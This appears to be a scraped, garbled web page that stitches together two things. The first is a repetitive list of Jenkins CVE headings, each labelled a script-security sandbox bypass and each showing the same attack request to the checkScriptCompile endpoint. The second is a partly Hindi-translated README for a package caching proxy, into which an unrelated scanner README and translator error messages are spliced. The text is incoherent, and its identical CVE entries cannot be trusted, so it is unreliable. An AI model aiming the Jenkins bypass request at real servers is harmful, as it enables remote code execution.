CVE-2019-1003080 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003081 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003082 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003083 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003084 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003085 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003086 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003087 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003088 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003089 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003090 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003091 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003092 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003093 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003094 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003095 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003096 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003097 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003098 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003099 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003100 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003101 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003102 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003103 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptor```bash
helm pull oci://localhost:8080/upstream/ghcr/owner/charts/mychart --version 1.0.0 --plain-http

Debian / APT

APT को /etc/apt/sources.list.d/proxy.list में प्रॉक्सी का उपयोग करने के लिए कॉन्फ़िगर करें:``` deb http://localhost:8080/debian stable main contrib

root@kitploit:~
अपनी मौजूदा sources.list प्रविष्टियों को बदलें, फिर:```bash
sudo apt update

The upstream http://deb.debian.org/debian पर डिफ़ॉल्ट होता है। किसी भिन्न APT रिपॉज़िटरी (जैसे Ubuntu) को प्रॉक्सी करने के लिए, कॉन्फ़िग फ़ाइल में upstream.debian या एनवायरनमेंट में PROXY_UPSTREAM_DEBIAN सेट करें:```yaml upstream: debian: "http://archive.ubuntu.com/ubuntu"

root@kitploit:~
### RPM / Yum / DNF

yum/dnf को `/etc/yum.repos.d/proxy.repo` में प्रॉक्सी का उपयोग करने के लिए कॉन्फ़िगर करें:```ini
[proxy-fedora]
name=Fedora via Proxy
baseurl=http://localhost:8080/rpm/releases/$releasever/Everything/$basearch/os/
enabled=1
gpgcheck=0

फिर:```bash sudo dnf clean all sudo dnf update

root@kitploit:~
### Alpine / apk

`/etc/apk/repositories` को प्रॉक्सी की ओर इंगित करें। डिफ़ॉल्ट रिपॉज़िटरी नाम
`alpine` आधिकारिक मिरर (`https://dl-cdn.alpinelinux.org/alpine`) को प्रॉक्सी करता है:```
http://localhost:8080/apk/alpine/v3.22/main
http://localhost:8080/apk/alpine/v3.22/community

फिर:```bash apk update

root@kitploit:~
Repository indexes (v2 `APKINDEX.tar.gz` और v3 `Packages.adb`), detached
signatures, और packages बाइट-दर-बाइट अपरिवर्तित रूप में सर्व किए जाते हैं, इसलिए apk का सामान्य
signature verification काम करता रहता है। Indexes metadata cache का उपयोग करते हैं
(`metadata_ttl`, stale fallback); `.apk` packages साझा
artifact cache में संग्रहीत होते हैं और upstream अगम्य होने पर भी उपलब्ध रहते हैं।

अन्य mirrors या private repositories को proxy करने के लिए, `upstream.apk` के अंतर्गत
named upstreams कॉन्फ़िगर करें (यह built-in default को प्रतिस्थापित करता है; यदि आप अभी भी
`alpine` चाहते हैं तो उसे पुनः जोड़ें):```yaml
upstream:
  apk:
    alpine: "https://dl-cdn.alpinelinux.org/alpine"
    private: "https://apk.example.com"

| -s | --server | Server URL (default: http://localhost:8080) | | -t | --token | API token for authentication | | -o | --output | Output file path | | -f | --format | Output format: json, yaml, table | | -v | --verbose | Enable verbose logging | | -q | --quiet | Suppress non-error output | | -h | --help | Show help message |

उदाहरण

root@kitploit:~
# Scan a single target
scanner scan --target example.com

# Scan multiple targets from a file
scanner scan --input targets.txt --output results.json

# Use a custom configuration
scanner scan --config custom-config.yaml --verbose

कॉन्फ़िगरेशन

The scanner can be configured using a YAML configuration file:

root@kitploit:~
server:
  url: "http://localhost:8080"
  timeout: 30

scan:
  threads: 10
  depth: 3
  exclude:
    - "*.example.com"
    - "internal.local"

API संदर्भ

प्रमाणीकरण

All API requests require a valid token in the Authorization header:

root@kitploit:~
Authorization: Bearer <token>

एंडपॉइंट

GET /api/v1/scans

Returns a list of all scans.

पैरामीटर:

ParameterTypeDescription
pageintegerPage number (default: 1)
limitintegerItems per page (default: 20)
statusstringFilter by status: pending, running, completed, failed

प्रतिक्रिया:

root@kitploit:~
{
  "data": [
    {
      "id": "scan-001",
      "target": "example.com",
      "status": "completed",
      "created_at": "2024-01-15T10:30:00Z"
    }
  ],
  "meta": {
    "page": 1,
    "limit": 20,
    "total": 1
  }
}

POST /api/v1/scans

Creates a new scan.

अनुरोध निकाय:

root@kitploit:~
{
  "target": "example.com",
  "options": {
    "depth": 3,
    "threads": 10
  }
}

प्रतिक्रिया:

root@kitploit:~
{
  "id": "scan-002",
  "target": "example.com",
  "status": "pending",
  "created_at": "2024-01-15T11:00:00Z"
}

DELETE /api/v1/scans/{id}

Deletes a scan by ID.

प्रतिक्रिया:

root@kitploit:~
{
  "message": "Scan deleted successfully"
}

योगदान

We welcome contributions! Please follow these steps:

  1. Fork the repository
  2. Create a feature branch (git checkout -b feature/amazing-feature)
  3. Commit your changes (git commit -m 'Add amazing feature')
  4. Push to the branch (git push origin feature/amazing-feature)
  5. Open a Pull Request

Please ensure your code follows the project's coding standards and includes appropriate tests.

लाइसेंस

This project is licensed under the MIT License - see the LICENSE file for details.``` http://localhost:8080/apk/private

root@kitploit:~
apk प्रत्येक रिपॉज़िटरी लाइन में स्वयं आर्किटेक्चर और इंडेक्स फ़ाइलनाम जोड़ता है।

### GitHub Releases / mise (aqua backend)

नामित जेनेरिक अपस्ट्रीम कॉन्फ़िगर करें:```yaml
upstream:
  generic:
    github: "https://github.com"
    github-api: "https://api.github.com"

फिर mise की सेटिंग्स (~/.config/mise/config.toml, mise ≥ 2025.9.3) में GitHub URLs को फिर से लिखें:```toml [settings.url_replacements] "regex:^https://github\\.com/([^/]+)/([^/]+)/releases/download/(.+)" = "http://localhost:8080/generic/github/$1/$2/releases/download/$3" "regex:^https://api\\.github\\.com/(.*)" = "http://localhost:8080/generic/github-api/$1"

root@kitploit:~
रिलीज़ एसेट्स पहली डाउनलोड के बाद स्थायी रूप से कैश हो जाते हैं और GitHub के डाउन होने पर भी इंस्टॉल करते रहते हैं। `api.github.com` के माध्यम से टैग लुकअप `metadata_ttl` के लिए कैश किए जाते हैं और आउटेज या रेट लिमिट के दौरान स्टेल सर्व किए जाते हैं। एक `mise.lock` कमिट करें और `mise install --locked` के साथ इंस्टॉल करें ताकि पिन किए गए इंस्टॉल को किसी भी API कॉल की आवश्यकता न हो। यदि फ्लीट GitHub की अनाम रेट लिमिट से अधिक हो जाती है, तो `upstream.auth` के अंतर्गत `https://api.github.com` के लिए एक bearer टोकन जोड़ें।

## कॉन्फ़िगरेशन

प्रॉक्सी को इसके माध्यम से कॉन्फ़िगर किया जा सकता है:

1. कमांड लाइन फ्लैग (उच्चतम प्राथमिकता)
2. एनवायरनमेंट वेरिएबल्स
3. कॉन्फ़िगरेशन फ़ाइल (YAML या JSON)

### कमांड लाइन फ्लैग```
-config string           Path to configuration file
-listen string           Address to listen on (default ":8080")
-base-url string         Public URL of this proxy (default "http://localhost:8080")
-storage-url string      Storage URL (file://, s3://, gs://, azblob://)
-storage-path string     Path to artifact storage directory (deprecated, use -storage-url)
-database-driver string  Database driver: sqlite or postgres (default "sqlite")
-database-path string    Path to SQLite database file (default "./cache/proxy.db")
-database-url string     PostgreSQL connection URL
-log-level string        Log level: debug, info, warn, error (default "info")
-log-format string       Log format: text, json (default "text")
-access-log string       Path to the JSONL access log
-version                 Print version and exit

पर्यावरण चर```bash

PROXY_LISTEN=:8080 PROXY_BASE_URL=http://localhost:8080 PROXY_UI_URL=http://localhost:8080 # Optional; defaults to PROXY_BASE_URL PROXY_STORAGE_URL=file:///var/cache/proxy/artifacts PROXY_DATABASE_DRIVER=sqlite PROXY_DATABASE_PATH=./cache/proxy.db PROXY_DATABASE_URL=postgres://user:pass@localhost/proxy?sslmode=disable PROXY_LOG_LEVEL=info PROXY_LOG_FORMAT=text PROXY_ACCESS_LOG_PATH=/var/log/proxy/access.jsonl PROXY_UPSTREAM_SWIFT=https://tuist.dev/api/registry/swift

root@kitploit:~
### कॉन्फ़िगरेशन फ़ाइल```yaml
listen: ":8080"
base_url: "http://localhost:8080"

storage:
  url: "file:///var/cache/proxy/artifacts"
  max_size: "10GB"  # Optional: evict LRU when exceeded

database:
  driver: "sqlite"
  path: "/var/lib/proxy/cache.db"

log:
  level: "info"
  format: "text"

access_log:
  path: "/var/log/proxy/access.jsonl"  # Optional JSONL activity log

# Optional: override upstream URLs
upstream:
  npm: "https://registry.npmjs.org"
  cargo: "https://index.crates.io"
  swift: "https://tuist.dev/api/registry/swift"

# Optional: version cooldown (see above)
cooldown:
  default: "3d"

हर upstream key, environment variable, और default URL के लिए configuration reference देखें।

Config file के साथ चलाएँ:```bash ./proxy -config /etc/proxy/config.yaml

root@kitploit:~
### PostgreSQL

SQLite डिफ़ॉल्ट है और सिंगल-नोड परिनियोजन के लिए अच्छी तरह काम करता है। मल्टी-नोड सेटअप के लिए या यदि आप एक प्रबंधित डेटाबेस पसंद करते हैं, तो Postgres पर स्विच करें:```yaml
database:
  driver: "postgres"
  url: "postgres://user:password@localhost:5432/proxy?sslmode=disable"

या पर्यावरण चर के माध्यम से:```bash PROXY_DATABASE_DRIVER=postgres PROXY_DATABASE_URL=postgres://user:password@localhost:5432/proxy?sslmode=disable

root@kitploit:~
The proxy पहली बार चलने पर टेबल्स स्वचालित रूप से बनाता है।

### S3 Storage

The proxy कैश्ड आर्टिफैक्ट्स को लोकल फाइलसिस्टम के बजाय S3 या किसी भी S3-संगत सेवा (MinIO, R2, आदि) में संग्रहीत कर सकता है।```yaml
storage:
  url: "s3://my-bucket-name?region=us-east-1"

S3-संगत सेवाओं जैसे MinIO के लिए:```yaml storage: url: "s3://my-bucket?endpoint=http://localhost:9000&disableSSL=true&s3ForcePathStyle=true"

root@kitploit:~
क्रेडेंशियल्स को मानक AWS एनवायरनमेंट वेरिएबल्स (`AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_REGION`) के माध्यम से सेट करें।

### Google Cloud Storage

प्रॉक्सी `gs://` URL स्कीम का उपयोग करके कैश्ड आर्टिफैक्ट्स को GCS बकेट में संग्रहीत कर सकता है।```yaml
storage:
  url: "gs://my-bucket-name"

प्रमाणीकरण Application Default Credentials का उपयोग करता है, जिसका अर्थ है कि कॉन्फ़िग या एनवायरनमेंट में कोई भी क्रेडेंशियल एम्बेड करने की आवश्यकता नहीं है। समर्थित स्रोत, क्रम में:

  • GKE Workload Identity — प्रॉक्सी चलाने वाले Kubernetes सेवा खाते को उस Google सेवा खाते से बाइंड करें जिसके पास बकेट पर roles/storage.objectAdmin हो। प्रॉक्सी स्वचालित रूप से वर्कलोड के टोकन का उपयोग करेगा।
  • GCE, Cloud Run, Cloud Functions, आदि पर संलग्न सेवा खाता।
  • GOOGLE_APPLICATION_CREDENTIALS एनवायरनमेंट वेरिएबल जो सेवा खाता JSON कुंजी फ़ाइल की ओर इंगित करता है।
  • स्थानीय विकास के लिए gcloud auth application-default login।

GKE Workload Identity सेटअप```bash

1. Create a Google service account

gcloud iam service-accounts create git-pkgs-proxy
--project=PROJECT_ID

2. Grant it access to the bucket

gsutil iam ch
serviceAccount:git-pkgs-proxy@PROJECT_ID.iam.gserviceaccount.com:objectAdmin
gs://my-bucket-name

3. Bind the Kubernetes service account to it

gcloud iam service-accounts add-iam-policy-binding
git-pkgs-proxy@PROJECT_ID.iam.gserviceaccount.com
--role=roles/iam.workloadIdentityUser
--member="serviceAccount:PROJECT_ID.svc.id.goog[NAMESPACE/KSA_NAME]"

4. Annotate the Kubernetes service account

kubectl annotate serviceaccount KSA_NAME
--namespace=NAMESPACE
iam.gke.io/gcp-service-account=git-pkgs-proxy@PROJECT_ID.iam.gserviceaccount.com

root@kitploit:~
#### Workload Identity के साथ Direct serve (signed URLs)

जब `direct_serve: true` सक्षम होता है, तो proxy presigned GCS URLs पर HTTP 302 redirects जारी करता है। Workload Identity कोई private key प्रदान नहीं करता, इसलिए GCS backend [IAM Credentials `signBlob` API](https://docs.cloud.google.com/iam/docs/reference/credentials/rest/v1/projects.serviceAccounts/signBlob) को कॉल करता है। service account को स्वयं पर token-creator role प्रदान करें:```bash
gcloud iam service-accounts add-iam-policy-binding \
  git-pkgs-proxy@PROJECT_ID.iam.gserviceaccount.com \
  --role=roles/iam.serviceAccountTokenCreator \
  --member="serviceAccount:git-pkgs-proxy@PROJECT_ID.iam.gserviceaccount.com"

CLI कमांड्स

serve (डिफ़ॉल्ट)

प्रॉक्सी सर्वर प्रारंभ करें। यदि कोई निर्दिष्ट नहीं है तो यह डिफ़ॉल्ट कमांड है।```bash proxy serve [flags] proxy [flags] # same as 'proxy serve'

root@kitploit:~
### mirror

PURLs, SBOM फ़ाइलों, या पूरी रजिस्ट्रियों से कैश को पहले से भरें। ऑफ़लाइन उपलब्धता सुनिश्चित करने या डिप्लॉयमेंट से पहले कैश को वॉर्म करने के लिए उपयोगी।```bash
# Mirror specific package versions
proxy mirror pkg:npm/[email protected] pkg:cargo/[email protected]

# Mirror all versions of a package
proxy mirror pkg:npm/lodash

# Mirror from a CycloneDX or SPDX SBOM
proxy mirror --sbom sbom.cdx.json

# Preview what would be mirrored
proxy mirror --dry-run pkg:npm/lodash

# Control parallelism
proxy mirror --concurrency 8 pkg:npm/[email protected]

The mirror command serve के समान storage और database flags स्वीकार करता है। पहले से cached artifacts छोड़ दिए जाते हैं।

जब server चल रहा हो तो एक mirror API भी उपलब्ध होता है:```bash

Start a mirror job

curl -X POST http://localhost:8080/api/mirror
-H "Content-Type: application/json"
-d '{"purls": ["pkg:npm/[email protected]"]}'

Start a mirror job from an inline CycloneDX or SPDX JSON SBOM

curl -X POST http://localhost:8080/api/mirror
-H "Content-Type: application/json"
-d '{"sbom":{"bomFormat":"CycloneDX","components":[{"purl":"pkg:npm/[email protected]"}]}}'

Check job status

curl http://localhost:8080/api/mirror/mirror-1

Cancel a running job

curl -X DELETE http://localhost:8080/api/mirror/mirror-1

root@kitploit:~
### stats

सर्वर चलाए बिना कैश आँकड़े दिखाएँ।```bash
# Text output
proxy stats

# JSON output
proxy stats -json

# Custom database path
proxy stats -database-path /var/lib/proxy/cache.db

# With PostgreSQL
proxy stats -database-driver postgres -database-url postgres://user:pass@localhost/proxy

# Show top 20 most popular packages
proxy stats -popular 20

उदाहरण आउटपुट:``` Cache Statistics

Packages: 45 Versions: 128 Artifacts: 128 Total size: 892.4 MB Total hits: 1547

Packages by ecosystem: npm 32 cargo 13

Most popular packages:

  1. npm/lodash (342 hits, 24.7 KB)
  2. npm/react (198 hits, 89.3 KB)
  3. cargo/serde (156 hits, 234.1 KB)

Recently cached: npm/[email protected] (2024-01-15 14:32, 54.2 KB) cargo/[email protected] (2024-01-15 14:28, 412.8 KB)

root@kitploit:~
## API एंडपॉइंट्स

### रजिस्ट्री प्रोटोकॉल

| एंडपॉइंट | विवरण |
|----------|-------------|
| `GET /` | डैशबोर्ड (वेब UI) |
| `GET /health` | हेल्थ चेक और अपस्ट्रीम सर्किट ब्रेकर स्थिति (JSON; HTTP 200 स्वस्थ, 503 अस्वस्थ) |
| `GET /stats` | कैश आंकड़े (JSON) |
| `GET /metrics` | Prometheus मेट्रिक्स |
| `GET /npm/*` | npm रजिस्ट्री प्रोटोकॉल |
| `GET /cargo/*` | Cargo स्पार्स इंडेक्स प्रोटोकॉल |
| `GET /gem/*` | RubyGems प्रोटोकॉल |
| `GET /go/*` | Go मॉड्यूल प्रॉक्सी प्रोटोकॉल |
| `GET /hex/*` | Hex.pm प्रोटोकॉल |
| `GET /pub/*` | pub.dev प्रोटोकॉल |
| `GET /pypi/*` | PyPI सिंपल/JSON API |
| `GET /maven/*` | Maven रिपॉजिटरी प्रोटोकॉल |
| `GET /nuget/*` | NuGet V3 API |
| `GET /composer/*` | Composer/Packagist प्रोटोकॉल |
| `GET /conan/*` | Conan C/C++ प्रोटोकॉल |
| `GET /conda/*` | Conda/Anaconda प्रोटोकॉल |
| `GET /cran/*` | CRAN (R) प्रोटोकॉल |
| `GET /julia/*` | Julia Pkg सर्वर प्रोटोकॉल |
| `GET /swift/*` | Swift Package Registry v1 प्रोटोकॉल |
| `GET /helm/{repository}/*` | HTTP Helm चार्ट रिपॉजिटरी प्रोटोकॉल |
| `GET /homebrew/*` | Homebrew JSON API |
| `GET /v2/*` | OCI/Docker रजिस्ट्री प्रोटोकॉल |
| `GET /v2/homebrew/core/*` | GHCR से Homebrew core बोतल मैनिफेस्ट और ब्लॉब्स |
| `GET /apk/{repository}/*` | Alpine APK रिपॉजिटरी प्रोटोकॉल |
| `GET /generic/{name}/*` | जेनेरिक HTTP डाउनलोड प्रॉक्सी (GitHub रिलीज़ एसेट्स, mise/aqua) |
| `GET /debian/*` | Debian/APT रिपॉजिटरी प्रोटोकॉल |
| `GET /rpm/*` | RPM/Yum रिपॉजिटरी प्रोटोकॉल |

### मिरर API

| एंडपॉइंट | विवरण |
|----------|-------------|
| `POST /api/mirror` | मिरर जॉब शुरू करें (JSON बॉडी में `purls` या इनलाइन `sbom`) |
| `GET /api/mirror/{id}` | जॉब स्थिति और प्रगति प्राप्त करें |
| `DELETE /api/mirror/{id}` | चल रही जॉब रद्द करें |

### एनरिचमेंट API

प्रॉक्सी पैकेज मेटाडेटा एनरिचमेंट, भेद्यता स्कैनिंग, और पुराने संस्करणों का पता लगाने के लिए REST एंडपॉइंट्स प्रदान करता है।

| एंडपॉइंट | विवरण |
|----------|-------------|
| `GET /api/package/{ecosystem}/{name}` | पैकेज मेटाडेटा प्राप्त करें |
| `GET /api/package/{ecosystem}/{name}/{version}` | भेद्यताओं के साथ संस्करण मेटाडेटा प्राप्त करें |
| `GET /api/vulns/{ecosystem}/{name}` | पैकेज के लिए सभी भेद्यताएं प्राप्त करें |
| `GET /api/vulns/{ecosystem}/{name}/{version}` | किसी विशिष्ट संस्करण के लिए भेद्यताएं प्राप्त करें |
| `POST /api/outdated` | पुराने संस्करणों के लिए कई पैकेज जांचें |
| `POST /api/bulk` | बल्क पैकेज मेटाडेटा लुकअप |

#### पैकेज मेटाडेटा प्राप्त करें```bash
curl http://localhost:8080/api/package/npm/lodash

Response:```json { "ecosystem": "npm", "name": "lodash", "latest_version": "4.17.21", "license": "MIT", "license_category": "permissive", "description": "Lodash modular utilities", "homepage": "https://lodash.com/", "repository": "https://github.com/lodash/lodash", "registry_url": "https://registry.npmjs.org" }

root@kitploit:~
#### कमजोरियों के साथ संस्करण प्राप्त करें```bash
curl http://localhost:8080/api/package/npm/lodash/4.17.0

आपने अनुवाद के लिए कोई सामग्री प्रदान नहीं की है। कृपया वह Markdown पाठ भेजें जिसका अनुवाद करना है।```json { "package": { "ecosystem": "npm", "name": "lodash", "latest_version": "4.17.21", "license": "MIT", "license_category": "permissive" }, "version": { "ecosystem": "npm", "name": "lodash", "version": "4.17.0", "license": "MIT", "published_at": "2016-06-17T03:59:56Z", "yanked": false, "is_outdated": true }, "vulnerabilities": [ { "id": "GHSA-p6mc-m468-83gw", "summary": "Prototype Pollution in lodash", "severity": "HIGH", "cvss_score": 7.4, "fixed_version": "4.17.12" } ], "is_outdated": true, "license_category": "permissive" }

root@kitploit:~
#### पुराने पैकेज जांचें```bash
curl -X POST http://localhost:8080/api/outdated \
  -H "Content-Type: application/json" \
  -d '{
    "packages": [
      {"ecosystem": "npm", "name": "lodash", "version": "4.17.0"},
      {"ecosystem": "pypi", "name": "requests", "version": "2.25.0"}
    ]
  }'

Response:```json { "results": [ { "ecosystem": "npm", "name": "lodash", "version": "4.17.0", "latest_version": "4.17.21", "is_outdated": true }, { "ecosystem": "pypi", "name": "requests", "version": "2.25.0", "latest_version": "2.31.0", "is_outdated": true } ] }

root@kitploit:~
#### बल्क पैकेज लुकअप```bash
curl -X POST http://localhost:8080/api/bulk \
  -H "Content-Type: application/json" \
  -d '{
    "purls": [
      "pkg:npm/[email protected]",
      "pkg:pypi/[email protected]"
    ]
  }'

आपने कोई अनुवाद करने के लिए सामग्री प्रदान नहीं की है। कृपया वह Markdown सामग्री भेजें जिसका आप अनुवाद कराना चाहते हैं।```json { "packages": { "pkg:npm/lodash": { "ecosystem": "npm", "name": "lodash", "latest_version": "4.17.21", "license": "MIT", "license_category": "permissive" }, "pkg:pypi/requests": { "ecosystem": "pypi", "name": "requests", "latest_version": "2.31.0", "license": "Apache-2.0", "license_category": "permissive" } } }

root@kitploit:~
### स्टैट्स रिस्पॉन्स (HTTP एंडपॉइंट)```json
{
  "cached_artifacts": 142,
  "total_size_bytes": 523456789,
  "total_size": "499.2 MB",
  "storage_url": "file:///path/to/cache/artifacts",
  "database_path": "./cache/proxy.db"
}

यह कैसे काम करता है

  1. पैकेज मैनेजर प्रॉक्सी से पैकेज मेटाडेटा का अनुरोध करता है
  2. प्रॉक्सी अपस्ट्रीम से मेटाडेटा प्राप्त करता है, आर्टिफैक्ट URLs को प्रॉक्सी की ओर इंगित करने के लिए फिर से लिखता है
  3. पैकेज मैनेजर आर्टिफैक्ट (tarball, crate, आदि) का अनुरोध करता है
  4. प्रॉक्सी स्थानीय कैश की जाँच करता है:
    • कैश हिट: स्थानीय स्टोरेज से सर्व करें
    • कैश मिस: अपस्ट्रीम से प्राप्त करें, स्थानीय रूप से संग्रहीत करें, क्लाइंट को सर्व करें
  5. उसी आर्टिफैक्ट के लिए बाद के अनुरोध कैश से सर्व किए जाते हैं``` ┌─────────────┐ ┌─────────┐ ┌──────────┐ │ npm/cargo │────▶│ proxy │────▶│ upstream │ │ client │◀────│ │◀────│ registry │ └─────────────┘ └─────────┘ └──────────┘ │ ▼ ┌─────────┐ │ cache │ │ storage │ └─────────┘
root@kitploit:~
## वेब इंटरफ़ेस

प्रॉक्सी `/ui` के अंतर्गत एक वेब UI प्रदान करता है। किसी अलग फ्रंटएंड बिल्ड की आवश्यकता नहीं है -- टेम्पलेट्स और एसेट्स बाइनरी में एम्बेडेड हैं। `GET /` को `/ui/` पर रीडायरेक्ट किया जाता है। UI अपने स्वयं के प्रीफ़िक्स के अंतर्गत माउंट किया गया है ताकि एक रिवर्स प्रॉक्सी इस पर पैकेज एंडपॉइंट्स की तुलना में अलग एक्सेस नियम लागू कर सके (उदाहरण के लिए, `PathPrefix(/ui)` के लिए ऑथ की आवश्यकता हो, जबकि `/npm`, `/pypi` आदि बिल्ड मशीनों के लिए खुले रहें)।

- **डैशबोर्ड** (`/ui/`) -- कैश आँकड़े, लोकप्रिय पैकेज, हाल ही में कैश किए गए आर्टिफ़ैक्ट्स, और भेद्यता अवलोकन।
- **इंस्टॉल गाइड** (`/ui/install`) -- प्रति-इकोसिस्टम कॉन्फ़िगरेशन निर्देश, ताकि आपको उन्हें यहाँ देखने की आवश्यकता न पड़े।
- **पैकेज ब्राउज़र** (`/ui/packages`) -- इकोसिस्टम द्वारा फ़िल्टरिंग और हिट्स, आकार, नाम, या भेद्यता गणना द्वारा सॉर्टिंग के साथ सभी कैश किए गए पैकेज ब्राउज़ करें।
- **खोज** (`/ui/search?q=...`) -- नाम से कैश किए गए पैकेज खोजें।
- **पैकेज विवरण** (`/ui/package/{ecosystem}/{name}`) -- किसी पैकेज के लिए मेटाडेटा, लाइसेंस, भेद्यताएँ, और संस्करण सूची। आप तुलना करने के लिए दो संस्करण चुन सकते हैं।
- **संस्करण विवरण** (`/ui/package/{ecosystem}/{name}/{version}`) -- प्रति-संस्करण मेटाडेटा, इंटीग्रिटी हैश, आर्टिफ़ैक्ट कैश स्थिति, और हिट गणनाएँ।
- **स्रोत ब्राउज़र** (`/ui/package/{ecosystem}/{name}/{version}/browse`) -- टेक्स्ट फ़ाइलों के लिए सिंटैक्स हाइलाइटिंग और इमेज प्रीव्यू के साथ कैश किए गए आर्काइव्स के अंदर फ़ाइलें ब्राउज़ करें।
- **संस्करण डिफ़** (`/ui/package/{ecosystem}/{name}/compare/{v1}...{v2}`) -- जोड़ी गई, हटाई गई, और बदली गई फ़ाइलों को दिखाते हुए दो कैश किए गए संस्करणों का साइड-बाय-साइड डिफ़।

## मॉनिटरिंग

प्रॉक्सी `GET /metrics` पर Prometheus मेट्रिक्स प्रदान करता है। सभी मेट्रिक नामों के आगे `proxy_` प्रीफ़िक्स होता है।

| मेट्रिक | प्रकार | लेबल | विवरण |
|--------|------|--------|-------------|
| `proxy_requests_total` | counter | `ecosystem`, `status` | पैकेज इकोसिस्टम और HTTP स्थिति द्वारा प्रॉक्सी प्रतिक्रियाएँ |
| `proxy_request_duration_seconds` | histogram | `ecosystem`, `status` | प्रॉक्सी अनुरोध अवधि |
| `proxy_cache_hits_total` | counter | `ecosystem` | कैश हिट्स |
| `proxy_cache_misses_total` | counter | `ecosystem` | कैश मिसेस |
| `proxy_cache_size_bytes` | gauge | | कैश किए गए आर्टिफ़ैक्ट्स का कुल आकार |
| `proxy_cached_artifacts_total` | gauge | | कैश किए गए आर्टिफ़ैक्ट्स की संख्या |
| `proxy_upstream_fetch_duration_seconds` | histogram | `ecosystem` | अपस्ट्रीम से फ़ेच करने में लगा समय |
| `proxy_upstream_errors_total` | counter | `ecosystem`, `error_type` | अपस्ट्रीम फ़ेच विफलताएँ |
| `proxy_storage_operation_duration_seconds` | histogram | `operation` | स्टोरेज रीड/राइट लेटेंसी |
| `proxy_storage_errors_total` | counter | `operation` | स्टोरेज रीड/राइट विफलताएँ |
| `proxy_active_requests` | gauge | | इन-फ़्लाइट अनुरोध |
| `proxy_health_probe_failures_total` | counter | `step` | विफल होने वाले चरण (`write`, `size`, `read`, `verify`, `delete`) द्वारा स्टोरेज हेल्थ प्रोब विफलताएँ। |
